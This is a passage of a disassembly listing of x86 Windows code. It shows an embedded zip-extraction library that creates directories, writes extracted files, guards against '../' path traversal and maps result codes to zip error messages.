[ebp+var_1A4] mov ecx, [ebp+var_7C] lea edx, [ecx+eax+4] mov [ebp+var_7C], edx jmp short loc_4103B5 ; --------------------------------------------------------------------------- loc_410422: ; CODE XREF: sub_40FF4C+4C2j mov eax, [ebp+var_70] add eax, [ebp+var_7C] movsx ecx, byte ptr [eax+4] mov [ebp+var_1A0], ecx mov edx, [ebp+var_1A0] and edx, 1 neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_1A8], dl mov eax, [ebp+var_1A0] and eax, 2 neg eax sbb eax, eax neg eax mov byte ptr [ebp+var_1B0], al mov ecx, [ebp+var_1A0] and ecx, 4 neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_1AC], cl mov edx, [ebp+var_7C] add edx, 5 mov [ebp+var_7C], edx mov eax, [ebp+var_1A8] and eax, 0FFh test eax, eax jz short loc_4104D6 mov ecx, [ebp+var_70] add ecx, [ebp+var_7C] mov edx, [ecx] mov [ebp+var_1B8], edx mov eax, [ebp+var_7C] add eax, 4 mov [ebp+var_7C], eax mov ecx, [ebp+var_1B8] push ecx call sub_40FE22 add esp, 4 mov [ebp+var_1D0], eax mov [ebp+var_1CC], edx mov edx, [ebp+arg_4] mov eax, [ebp+var_1D0] mov [edx+11Ch], eax mov ecx, [ebp+var_1CC] mov [edx+120h], ecx loc_4104D6: ; CODE XREF: sub_40FF4C+53Bj mov edx, [ebp+var_1B0] and edx, 0FFh test edx, edx jz short loc_410533 mov eax, [ebp+var_70] add eax, [ebp+var_7C] mov ecx, [eax] mov [ebp+var_1BC], ecx mov edx, [ebp+var_7C] add edx, 4 mov [ebp+var_7C], edx mov eax, [ebp+var_1BC] push eax call sub_40FE22 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_1D4], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_1D8] mov [ecx+10Ch], edx mov eax, [ebp+var_1D4] mov [ecx+110h], eax loc_410533: ; CODE XREF: sub_40FF4C+598j mov ecx, [ebp+var_1AC] and ecx, 0FFh test ecx, ecx jz short loc_410587 mov edx, [ebp+var_70] add edx, [ebp+var_7C] mov eax, [edx] mov [ebp+var_1C0], eax mov ecx, [ebp+var_1C0] push ecx call sub_40FE22 add esp, 4 mov [ebp+var_1E0], eax mov [ebp+var_1DC], edx mov edx, [ebp+arg_4] mov eax, [ebp+var_1E0] mov [edx+114h], eax mov ecx, [ebp+var_1DC] mov [edx+118h], ecx loc_410587: ; CODE XREF: sub_40FF4C+472j ; sub_40FF4C+5F5j cmp [ebp+var_70], 0 jz short loc_4105A5 mov edx, [ebp+var_70] mov [ebp+var_1E4], edx mov eax, [ebp+var_1E4] push eax call sub_4114EE add esp, 4 loc_4105A5: ; CODE XREF: sub_40FF4C+63Fj push 12Ch mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_1E8] add edx, 8 push edx call sub_411634 ; memcpy add esp, 0Ch mov eax, [ebp+var_1E8] mov ecx, [ebp+arg_0] mov [eax+134h], ecx xor eax, eax loc_4105D1: ; CODE XREF: sub_40FF4C+2Aj ; sub_40FF4C+8Dj ... mov esp, ebp pop ebp retn 8 sub_40FF4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105D7 proc near ; CODE XREF: HSho:0041126Cp ; HSho:004112ECp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] mov eax, [edx] push eax call sub_40F30A add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_410645 cmp [ebp+arg_8], 0 jz short loc_41061C mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh loc_41061C: ; CODE XREF: sub_4105D7+3Aj cmp [ebp+arg_C], 0 jz short loc_41063E push 12Ch push 0 mov edx, [ebp+arg_C] push edx call sub_411622 ; memset add esp, 0Ch mov eax, [ebp+arg_C] mov dword ptr [eax], 0FFFFFFFFh loc_41063E: ; CODE XREF: sub_4105D7+49j mov eax, 500h jmp short loc_4106A5 ; --------------------------------------------------------------------------- loc_410645: ; CODE XREF: sub_4105D7+34j mov ecx, [ebp+var_10] cmp dword ptr [ecx+4], 0FFFFFFFFh jz short loc_41065C mov edx, [ebp+var_10] mov eax, [edx] push eax call sub_40FCA7 add esp, 4 loc_41065C: ; CODE XREF: sub_4105D7+75j mov ecx, [ebp+var_10] mov dword ptr [ecx+4], 0FFFFFFFFh mov edx, [ebp+var_10] mov eax, [edx] mov ecx, [eax+10h] mov [ebp+var_8], ecx cmp [ebp+arg_8], 0 jz short loc_41067F mov edx, [ebp+arg_8] mov eax, [ebp+var_8] mov [edx], eax loc_41067F: ; CODE XREF: sub_4105D7+9Ej cmp [ebp+arg_C], 0 jz short loc_4106A3 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+var_8] push edx mov ecx, [ebp+var_10] call sub_40FF4C mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4106A3 mov eax, [ebp+var_C] jmp short loc_4106A5 ; --------------------------------------------------------------------------- loc_4106A3: ; CODE XREF: sub_4105D7+ACj ; sub_4105D7+C5j xor eax, eax loc_4106A5: ; CODE XREF: sub_4105D7+6Cj ; sub_4105D7+CAj mov esp, ebp pop ebp retn 10h sub_4105D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4106AB proc near ; CODE XREF: sub_4106AB+B4p ; sub_4107B2+227p ... var_214 = byte ptr -214h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 214h cmp [ebp+arg_4], 0 jz short loc_4106C4 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4106C9 loc_4106C4: ; CODE XREF: sub_4106AB+Dj jmp loc_4107AE ; --------------------------------------------------------------------------- loc_4106C9: ; CODE XREF: sub_4106AB+17j mov edx, [ebp+arg_4] mov [ebp+var_10C], edx mov eax, [ebp+var_10C] mov [ebp+var_4], eax loc_4106DB: ; CODE XREF: sub_4106AB+62j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41070F mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Fh jz short loc_4106FB mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_410704 loc_4106FB: ; CODE XREF: sub_4106AB+43j mov ecx, [ebp+var_4] mov [ebp+var_10C], ecx loc_410704: ; CODE XREF: sub_4106AB+4Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4106DB ; --------------------------------------------------------------------------- loc_41070F: ; CODE XREF: sub_4106AB+38j mov eax, [ebp+var_10C] mov [ebp+var_110], eax mov ecx, [ebp+var_10C] cmp ecx, [ebp+arg_4] jz short loc_410776 mov edx, [ebp+var_10C] sub edx, [ebp+arg_4] push edx mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_214] push ecx call sub_402680 add esp, 0Ch mov edx, [ebp+var_10C] sub edx, [ebp+arg_4] mov [ebp+edx+var_214], 0 lea eax, [ebp+var_214] push eax mov ecx, [ebp+arg_0] push ecx call sub_4106AB add esp, 8 mov edx, [ebp+var_110] add edx, 1 mov [ebp+var_110], edx loc_410776: ; CODE XREF: sub_4106AB+79j mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_108] push ecx call sub_411628 ; strcpy add esp, 8 mov edx, [ebp+var_110] push edx lea eax, [ebp+var_108] push eax call sub_411640 ; strcat add esp, 8 push 0 lea ecx, [ebp+var_108] push ecx call dword_413030 ; CreateDirectoryA loc_4107AE: ; CODE XREF: sub_4106AB:loc_4106C4j mov esp, ebp pop ebp retn sub_4106AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107B2 proc near ; CODE XREF: sub_411390+58p var_4264 = dword ptr -4264h var_4260 = dword ptr -4260h var_425C = dword ptr -425Ch var_4258 = byte ptr -4258h var_4251 = byte ptr -4251h var_4250 = byte ptr -4250h var_424F = byte ptr -424Fh var_414C = dword ptr -414Ch var_4148 = dword ptr -4148h var_4144 = dword ptr -4144h var_4140 = dword ptr -4140h var_413C = dword ptr -413Ch var_4138 = dword ptr -4138h var_4134 = dword ptr -4134h var_4130 = dword ptr -4130h var_412C = byte ptr -412Ch var_4128 = byte ptr -4128h var_4024 = dword ptr -4024h var_4020 = byte ptr -4020h var_4018 = byte ptr -4018h var_4010 = byte ptr -4010h var_4000 = byte ptr -4000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 4264h call sub_4115D0 push ebx push esi mov [ebp+var_4260], ecx cmp [ebp+arg_C], 3 jz short loc_4107E3 cmp [ebp+arg_C], 2 jz short loc_4107E3 cmp [ebp+arg_C], 1 jz short loc_4107E3 mov eax, 10000h jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_4107E3: ; CODE XREF: sub_4107B2+19j ; sub_4107B2+1Fj ... cmp [ebp+arg_C], 3 jnz loc_41090E mov eax, [ebp+var_4260] mov ecx, [ebp+arg_0] cmp ecx, [eax+4] jz loc_4108A4 mov edx, [ebp+var_4260] cmp dword ptr [edx+4], 0FFFFFFFFh jz short loc_41081C mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_40FCA7 add esp, 4 loc_41081C: ; CODE XREF: sub_4107B2+57j mov edx, [ebp+var_4260] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, [ebp+var_4260] mov ecx, [eax] mov edx, [ebp+arg_0] cmp edx, [ecx+4] jl short loc_410843 mov eax, 10000h jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_410843: ; CODE XREF: sub_4107B2+85j mov eax, [ebp+var_4260] mov ecx, [eax] mov edx, [ebp+arg_0] cmp edx, [ecx+10h] jge short loc_410864 mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_40F1E3 add esp, 4 loc_410864: ; CODE XREF: sub_4107B2+9Fj ; sub_4107B2+D3j mov edx, [ebp+var_4260] mov eax, [edx] mov ecx, [eax+10h] cmp ecx, [ebp+arg_0] jge short loc_410887 mov edx, [ebp+var_4260] mov eax, [edx] push eax call sub_40F251 add esp, 4 jmp short loc_410864 ; --------------------------------------------------------------------------- loc_410887: ; CODE XREF: sub_4107B2+C0j mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_40F6B0 add esp, 4 mov eax, [ebp+var_4260] mov ecx, [ebp+arg_0] mov [eax+4], ecx loc_4108A4: ; CODE XREF: sub_4107B2+47j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_40F872 add esp, 0Ch mov [ebp+var_4140], eax cmp [ebp+var_4140], 0 jle short loc_4108D6 mov eax, 600h jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_4108D6: ; CODE XREF: sub_4107B2+118j mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_40FCA7 add esp, 4 mov edx, [ebp+var_4260] mov dword ptr [edx+4], 0FFFFFFFFh cmp [ebp+var_4140], 0 jnz short loc_410904 xor eax, eax jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_410904: ; CODE XREF: sub_4107B2+149j mov eax, 5000000h jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_41090E: ; CODE XREF: sub_4107B2+35j mov eax, [ebp+var_4260] cmp dword ptr [eax+4], 0FFFFFFFFh jz short loc_41092B mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_40FCA7 add esp, 4 loc_41092B: ; CODE XREF: sub_4107B2+166j mov eax, [ebp+var_4260] mov dword ptr [eax+4], 0FFFFFFFFh mov ecx, [ebp+var_4260] mov edx, [ecx] mov eax, [ebp+arg_0] cmp eax, [edx+4] jl short loc_410952 mov eax, 10000h jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_410952: ; CODE XREF: sub_4107B2+194j mov ecx, [ebp+var_4260] mov edx, [ecx] mov eax, [ebp+arg_0] cmp eax, [edx+10h] jge short loc_410973 mov ecx, [ebp+var_4260] mov edx, [ecx] push edx call sub_40F1E3 add esp, 4 loc_410973: ; CODE XREF: sub_4107B2+1AEj ; sub_4107B2+1E2j mov eax, [ebp+var_4260] mov ecx, [eax] mov edx, [ecx+10h] cmp edx, [ebp+arg_0] jge short loc_410996 mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_40F251 add esp, 4 jmp short loc_410973 ; --------------------------------------------------------------------------- loc_410996: ; CODE XREF: sub_4107B2+1CFj lea edx, [ebp+var_412C] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4260] call sub_40FF4C mov ecx, [ebp+var_4024] and ecx, 10h test ecx, ecx jz short loc_4109E8 cmp [ebp+arg_C], 1 jnz short loc_4109C6 xor eax, eax jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_4109C6: ; CODE XREF: sub_4107B2+20Bj lea edx, [ebp+var_4128] push edx mov eax, [ebp+var_4260] add eax, 138h push eax call sub_4106AB add esp, 8 xor eax, eax jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_4109E8: ; CODE XREF: sub_4107B2+205j cmp [ebp+arg_C], 1 jnz short loc_4109FC mov ecx, [ebp+arg_4] mov [ebp+var_4134], ecx jmp loc_410B6E ; --------------------------------------------------------------------------- loc_4109FC: ; CODE XREF: sub_4107B2+23Aj mov edx, [ebp+arg_4] mov [ebp+var_4148], edx mov eax, [ebp+var_4148] mov [ebp+var_4144], eax loc_410A11: ; CODE XREF: sub_4107B2+2A6j mov ecx, [ebp+var_4144] movsx edx, byte ptr [ecx] test edx, edx jz short loc_410A5A mov eax, [ebp+var_4144] movsx ecx, byte ptr [eax] cmp ecx, 2Fh jz short loc_410A3A mov edx, [ebp+var_4144] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_410A49 loc_410A3A: ; CODE XREF: sub_4107B2+278j mov ecx, [ebp+var_4144] add ecx, 1 mov [ebp+var_4148], ecx loc_410A49: ; CODE XREF: sub_4107B2+286j mov edx, [ebp+var_4144] add edx, 1 mov [ebp+var_4144], edx jmp short loc_410A11 ; --------------------------------------------------------------------------- loc_410A5A: ; CODE XREF: sub_4107B2+26Aj mov eax, [ebp+var_4148] cmp eax, [ebp+arg_4] jz loc_410B4A mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_4250] push edx call sub_411628 ; strcpy add esp, 8 mov eax, [ebp+var_4148] sub eax, [ebp+arg_4] mov [ebp+eax+var_4251], 0 movsx ecx, [ebp+var_4250] cmp ecx, 2Fh jz short loc_410ABD movsx edx, [ebp+var_4250] cmp edx, 5Ch jz short loc_410ABD movsx eax, [ebp+var_424F] cmp eax, 3Ah jz short loc_410ABD mov [ebp+var_4264], 0 jmp short loc_410AC7 ; --------------------------------------------------------------------------- loc_410ABD: ; CODE XREF: sub_4107B2+2E5j ; sub_4107B2+2F1j ... mov [ebp+var_4264], 1 loc_410AC7: ; CODE XREF: sub_4107B2+309j mov cl, byte ptr [ebp+var_4264] mov byte ptr [ebp+var_414C], cl mov ebx, [ebp+var_414C] and ebx, 0FFh push offset a__ ; "../" lea edx, [ebp+var_4250] push edx call sub_4114A0 add esp, 8 mov esi, eax neg esi sbb esi, esi neg esi push offset a___0 ; "..\\" lea eax, [ebp+var_4250] push eax call sub_4114A0 add esp, 8 neg eax sbb eax, eax neg eax or esi, eax or ebx, esi mov byte ptr [ebp+var_414C], bl mov ecx, [ebp+var_414C] and ecx, 0FFh test ecx, ecx jnz short loc_410B4A lea edx, [ebp+var_4250] push edx mov eax, [ebp+var_4260] add eax, 138h push eax call sub_4106AB add esp, 8 loc_410B4A: ; CODE XREF: sub_4107B2+2B1j ; sub_4107B2+37Bj push 0 mov ecx, [ebp+var_4024] push ecx push 2 push 0 push 0 push 40000000h mov edx, [ebp+arg_4] push edx call dword_413018 ; CreateFileA mov [ebp+var_4134], eax loc_410B6E: ; CODE XREF: sub_4107B2+245j cmp [ebp+var_4134], 0FFFFFFFFh jnz short loc_410B81 mov eax, 200h jmp loc_410CC0 ; --------------------------------------------------------------------------- loc_410B81: ; CODE XREF: sub_4107B2+3C3j mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_40F6B0 add esp, 4 mov byte ptr [ebp+var_4138], 0 loc_410B99: ; CODE XREF: sub_4107B2:loc_410C15j push 4000h lea edx, [ebp+var_4000] push edx mov eax, [ebp+var_4260] mov ecx, [eax] push ecx call sub_40F872 add esp, 0Ch mov [ebp-4254h], eax cmp dword ptr [ebp-4254h], 0 jge short loc_410BCE mov byte ptr [ebp+var_4138], 1 jmp short loc_410C17 ; --------------------------------------------------------------------------- loc_410BCE: ; CODE XREF: sub_4107B2+411j cmp dword ptr [ebp-4254h], 0 jnz short loc_410BD9 jmp short loc_410C17 ; --------------------------------------------------------------------------- loc_410BD9: ; CODE XREF: sub_4107B2+423j push 0 lea edx, [ebp+var_4258] push edx mov eax, [ebp-4254h] push eax lea ecx, [ebp+var_4000] push ecx mov edx, [ebp+var_4134] push edx call dword_413050 ; WriteFile mov [ebp+var_425C], eax cmp [ebp+var_425C], 0 jnz short loc_410C15 mov byte ptr [ebp+var_4138], 1 jmp short loc_410C17 ; --------------------------------------------------------------------------- loc_410C15: ; CODE XREF: sub_4107B2+458j jmp short loc_410B99 ; --------------------------------------------------------------------------- loc_410C17: ; CODE XREF: sub_4107B2+41Aj ; sub_4107B2+425j ... mov byte ptr [ebp+var_413C], 0 mov eax, [ebp+var_4134] push eax call dword_4130A0 ; GetFileType mov [ebp+var_4130], eax cmp [ebp+var_4130], 1 jnz short loc_410C51 mov ecx, [ebp+var_4138] and ecx, 0FFh test ecx, ecx jnz short loc_410C51 mov byte ptr [ebp+var_413C], 1 loc_410C51: ; CODE XREF: sub_4107B2+486j ; sub_4107B2+496j mov edx, [ebp+var_413C] and edx, 0FFh test edx, edx jz short loc_410C83 lea eax, [ebp+var_4010] push eax lea ecx, [ebp+var_4020] push ecx lea edx, [ebp+var_4018] push edx mov eax, [ebp+var_4134] push eax call dword_41308C ; SetFileTime loc_410C83: ; CODE XREF: sub_4107B2+4ADj cmp [ebp+arg_C], 1 jz short loc_410C96 mov ecx, [ebp+var_4134] push ecx call dword_413020 ; CloseHandle loc_410C96: ; CODE XREF: sub_4107B2+4D5j mov edx, [ebp+var_4260] mov eax, [edx] push eax call sub_40FCA7 add esp, 4 mov ecx, [ebp+var_4138] and ecx, 0FFh test ecx, ecx jz short loc_410CBE mov eax, 400h jmp short loc_410CC0 ; --------------------------------------------------------------------------- loc_410CBE: ; CODE XREF: sub_4107B2+503j xor eax, eax loc_410CC0: ; CODE XREF: sub_4107B2+2Cj ; sub_4107B2+8Cj ... pop esi pop ebx mov esp, ebp pop ebp retn 10h sub_4107B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CC8 proc near ; CODE XREF: sub_4113FB+48p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0FFFFFFFFh jz short loc_410CE6 mov ecx, [ebp+var_4] mov edx, [ecx] push edx call sub_40FCA7 add esp, 4 loc_410CE6: ; CODE XREF: sub_410CC8+Ej mov eax, [ebp+var_4] mov dword ptr [eax+4], 0FFFFFFFFh mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz short loc_410D06 mov edx, [ebp+var_4] mov eax, [edx] push eax call sub_40ECA8 add esp, 4 loc_410D06: ; CODE XREF: sub_410CC8+2Ej mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 xor eax, eax mov esp, ebp pop ebp retn sub_410CC8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h cmp dword ptr [ebp+8], 1 jnz short loc_410D29 mov eax, ds:dword_41BCD4 mov [ebp+8], eax loc_410D29: ; CODE XREF: HSho:00410D1Fj mov dword ptr [ebp-8], offset aUnknownZipResu ; "unknown zip result code" mov ecx, [ebp+8] mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 20000h ja loc_410DFE cmp dword ptr [ebp-10h], 20000h jz loc_410F24 cmp dword ptr [ebp-10h], 500h ja short loc_410DB7 cmp dword ptr [ebp-10h], 500h jz loc_410EEB cmp dword ptr [ebp-10h], 200h ja short loc_410D98 cmp dword ptr [ebp-10h], 200h jz loc_410EC7 cmp dword ptr [ebp-10h], 0 jz loc_410EAF cmp dword ptr [ebp-10h], 100h jz loc_410EBB jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410D98: ; CODE XREF: HSho:00410D6Dj cmp dword ptr [ebp-10h], 300h jz loc_410ED3 cmp dword ptr [ebp-10h], 400h jz loc_410EDF jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410DB7: ; CODE XREF: HSho:00410D57j cmp dword ptr [ebp-10h], 800h ja short loc_410DEC cmp dword ptr [ebp-10h], 800h jz loc_410F09 cmp dword ptr [ebp-10h], 600h jz loc_410EF7 cmp dword ptr [ebp-10h], 700h jz loc_410F00 jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410DEC: ; CODE XREF: HSho:00410DBEj cmp dword ptr [ebp-10h], 10000h jz loc_410F12 jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410DFE: ; CODE XREF: HSho:00410D3Dj cmp dword ptr [ebp-10h], 80000h ja short loc_410E68 cmp dword ptr [ebp-10h], 80000h jz loc_410F48 cmp dword ptr [ebp-10h], 50000h ja short loc_410E49 cmp dword ptr [ebp-10h], 50000h jz loc_410F3F cmp dword ptr [ebp-10h], 30000h jz loc_410F2D cmp dword ptr [ebp-10h], 40000h jz loc_410F36 jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410E49: ; CODE XREF: HSho:00410E1Bj cmp dword ptr [ebp-10h], 60000h jz loc_410F63 cmp dword ptr [ebp-10h], 70000h jz loc_410F1B jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410E68: ; CODE XREF: HSho:00410E05j cmp dword ptr [ebp-10h], 4000000h ja short loc_410E9D cmp dword ptr [ebp-10h], 4000000h jz loc_410F6C cmp dword ptr [ebp-10h], 1000000h jz loc_410F51 cmp dword ptr [ebp-10h], 2000000h jz loc_410F5A jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410E9D: ; CODE XREF: HSho:00410E6Fj cmp dword ptr [ebp-10h], 5000000h jz loc_410F75 jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410EAF: ; CODE XREF: HSho:00410D80j mov dword ptr [ebp-8], offset aSuccess ; "Success" jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410EBB: ; CODE XREF: HSho:00410D8Dj mov dword ptr [ebp-8], offset aCuldnTDuplicat ; "Culdn't duplicate handle" jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410EC7: ; CODE XREF: HSho:00410D76j mov dword ptr [ebp-8], offset aCouldnTCreateO ; "Couldn't create/open file" jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410ED3: ; CODE XREF: HSho:00410D9Fj mov dword ptr [ebp-8], offset aFailedToAlloca ; "Failed to allocate memory" jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410EDF: ; CODE XREF: HSho:00410DACj mov dword ptr [ebp-8], offset aErrorWritingTo ; "Error writing to file" jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410EEB: ; CODE XREF: HSho:00410D60j mov dword ptr [ebp-8], offset aFileNotFoundIn ; "File not found in the zipfile" jmp loc_410F7C ; --------------------------------------------------------------------------- loc_410EF7: ; CODE XREF: HSho:00410DD4j mov dword ptr [ebp-8], offset aStillMoreDataT ; "Still more data to unzip" jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F00: ; CODE XREF: HSho:00410DE1j mov dword ptr [ebp-8], offset aZipfileIsCorru ; "Zipfile is corrupt or not a zipfile" jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F09: ; CODE XREF: HSho:00410DC7j mov dword ptr [ebp-8], offset aErrorReadingFi ; "Error reading file" jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F12: ; CODE XREF: HSho:00410DF3j mov dword ptr [ebp-8], offset aCallerFaultyAr ; "Caller: faulty arguments" jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F1B: ; CODE XREF: HSho:00410E5Dj mov dword ptr [ebp-8], offset aCallerTheFileH ; "Caller: the file had already been parti"... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F24: ; CODE XREF: HSho:00410D4Aj mov dword ptr [ebp-8], offset aCallerCanOnlyG ; "Caller: can only get memory of a memory"... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F2D: ; CODE XREF: HSho:00410E31j mov dword ptr [ebp-8], offset aCallerNotEnoug ; "Caller: not enough space allocated for "... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F36: ; CODE XREF: HSho:00410E3Ej mov dword ptr [ebp-8], offset aCallerThereWas ; "Caller: there was a previous error" jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F3F: ; CODE XREF: HSho:00410E24j mov dword ptr [ebp-8], offset aCallerAddition ; "Caller: additions to the zip have alrea"... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F48: ; CODE XREF: HSho:00410E0Ej mov dword ptr [ebp-8], offset aCallerMixingCr ; "Caller: mixing creation and opening of "... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F51: ; CODE XREF: HSho:00410E85j mov dword ptr [ebp-8], offset aZipBugInternal ; "Zip-bug: internal initialisation not co"... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F5A: ; CODE XREF: HSho:00410E92j mov dword ptr [ebp-8], offset aZipBugTryingTo ; "Zip-bug: trying to seek the unseekable" jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F63: ; CODE XREF: HSho:00410E50j mov dword ptr [ebp-8], offset aZipBugTheAntic ; "Zip-bug: the anticipated size turned ou"... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F6C: ; CODE XREF: HSho:00410E78j mov dword ptr [ebp-8], offset aZipBugTriedToC ; "Zip-bug: tried to change mind, but not "... jmp short loc_410F7C ; --------------------------------------------------------------------------- loc_410F75: ; CODE XREF: HSho:00410EA4j mov dword ptr [ebp-8], offset aZipBugAnIntern ; "Zip-bug: an internal error during flati"... loc_410F7C: ; CODE XREF: HSho:00410D93j ; HSho:00410DB2j ... mov edx, [ebp-8] push edx call sub_41162E ; strlen add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp+0Ch], 0 jz short loc_410F97 cmp dword ptr [ebp+10h], 0 jnz short loc_410F9C loc_410F97: ; CODE XREF: HSho:00410F8Fj mov eax, [ebp-4] jmp short loc_410FD7 ; --------------------------------------------------------------------------- loc_410F9C: ; CODE XREF: HSho:00410F95j mov eax, [ebp-4] mov [ebp-0Ch], eax mov ecx, [ebp-0Ch] add ecx, 1 cmp ecx, [ebp+10h] jbe short loc_410FB6 mov edx, [ebp+10h] sub edx, 1 mov [ebp-0Ch], edx loc_410FB6: ; CODE XREF: HSho:00410FABj mov eax, [ebp-0Ch] push eax mov ecx, [ebp-8] push ecx mov edx, [ebp+0Ch] push edx call dword_41319C ; strncpy add esp, 0Ch mov eax, [ebp+0Ch] add eax, [ebp-0Ch] mov byte ptr [eax], 0 mov eax, [ebp-4] loc_410FD7: ; CODE XREF: HSho:00410F9Aj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FDB proc near ; CODE XREF: sub_404A2D+26p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_410FDB mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push 23Ch call sub_4114F4 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0 cmp [ebp+var_1C], 0 jz short loc_411020 mov ecx, [ebp+var_1C] call sub_4114C0 mov [ebp+var_28], eax jmp short loc_411027 ; --------------------------------------------------------------------------- loc_411020: ; CODE XREF: sub_410FDB+36j mov [ebp+var_28], 0 loc_411027: ; CODE XREF: sub_410FDB+43j mov eax, [ebp+var_28] mov [ebp+var_18], eax mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_18] mov [ebp+var_10], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_10] call sub_40FE9E mov ds:dword_41BCD4, eax cmp ds:dword_41BCD4, 0 jz short loc_411072 mov edx, [ebp+var_10] mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_4114EE add esp, 4 xor eax, eax jmp short loc_41109A ; --------------------------------------------------------------------------- loc_411072: ; CODE XREF: sub_410FDB+7Fj push 8 call sub_4114F4 add esp, 4 mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov [ebp+var_14], ecx mov edx, [ebp+var_14] mov dword ptr [edx], 1 mov eax, [ebp+var_14] mov ecx, [ebp+var_10] mov [eax+4], ecx mov 